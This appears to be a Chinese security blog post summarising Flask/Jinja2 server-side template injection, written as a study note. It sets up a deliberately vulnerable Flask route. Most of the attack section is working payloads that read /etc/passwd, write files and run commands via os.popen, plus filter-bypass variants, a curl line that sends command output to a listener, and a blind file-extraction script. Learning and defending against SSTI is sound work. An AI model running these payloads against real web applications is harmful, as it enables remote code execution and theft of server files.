Xi4or0uji's blog

flask之ssti模板注入

字数统计: 1.6k阅读时长: 7 min
2019/01/15 Share

以前做题学过一些ssti,但是感觉不够深入,整理一下,算个总结吧

漏洞介绍

ssti,服务器端模板注入,主要是python或者其他语言在渲染模板的时候,由于代码不规范或者信任了用户的输入,使得模板可控。简单来说就是,模板里面有些用户输入的东西,但是程序员在渲染模板的时候,没有检查用户输入的东西是不是都是善意的,于是就被用户拿下了这个模板做坏事了。
举个栗子

我们现在有这样一个模板,emmm,顺便说一句,模板其实就是一个html而已

1
2
3
<html>
<div>{$name}</div>
</html>

在这个模板上有一个name参数,用来存放用户的名字,因为每次打开页面我们都不确定是哪个用户打开。现在问题来了,如果这个参数是用户可控的,那么用户就有可能会在里面放一些恶意的代码,然后就有可能执行任意命令,这就是简单的ssti。

动手实践

flask的搭建

在学漏洞之前先学一下怎么搭建flask的,毕竟python web和php web还是有挺多区别的,phper枯了
我们现在pycharm里面点击左上角的file,然后是new project,选flask,template language选jinja2,然后create就行

这个时候我们可以看到新建出来的文件是这样的

运行一下app.py会看到下面图片显示的东西,此时浏览器访问一下http://127.0.0.1:5000 就会看到有hello world显示出来

模板渲染

1
2
3
4
5
|__app.py
|__static
| |__style.css
|__templates
|__index.html

模板是一个包含响应文本的文件,其中包含用占位变量表示的动态部分,其具体值只在请求的上下文中才能知道,使用真实值替换变量,再返回最终得到的响应字符串,这一过程成为渲染。简单来说,就是一个函数调用了某一个模板,那个模板展示出来,就是渲染。
模板可以用render_template_string()方式去渲染,这个函数会将放在templates里面的对应的模板渲染出来

ssti模板注入

解析

好了,前面介绍了那么多,是时候来一题具体的实操了
下面给出一份存在漏洞的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/ssti',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)

return render_template_string(template)

if __name__ == '__main__':
app.debug = True
app.run()

可以看到,在这个代码里面,有个test函数,他会在页面找不到的时候,先输出that page doesn’t exist,然后再将用户请求的url渲染出来,因为对用户的url进行了二次渲染,所以,如果我们在url里面加入了恶意代码,他也是能渲染出来的

攻击

知道了漏洞是怎样形成的,剩下的就是利用了
在python中,object类是所有类的基类,如果定义一个类的时候没有指定是继承哪一个类的话,那它默认继承的是object类。我们在进行攻击的时候,虽然当前的类可能不能让我们进行很好的攻击,但是我们可以通过寻找其父类的其他子类,最后达到攻击的目的。
我们先用pycharm来进行一下子类的寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

一些绕waf的姿势

过滤[
1
2
3
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号
1
2
3
4
5
6
7
8
9
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
#request对象
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
1
2
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

如果不能执行命令就用盲注的方式爆出来,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
# -*- coding: utf-8 -*-
import requests

url = 'http://127.0.0.1:8080/'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password

参考

https://0day.work/jinja2-template-injection-filter-bypasses/
https://juejin.im/entry/5a91040ef265da4e9268410e

CATALOG
  1. 1. 漏洞介绍
  2. 2. 动手实践
    1. 2.1. flask的搭建
    2. 2.2. 模板渲染
  3. 3. ssti模板注入
    1. 3.1. 解析
    2. 3.2. 攻击
    3. 3.3. 一些绕waf的姿势
      1. 3.3.1. 过滤[
      2. 3.3.2. 过滤引号
      3. 3.3.3. 过滤下划线
      4. 3.3.4. 过滤花括号
    4. 3.4. 参考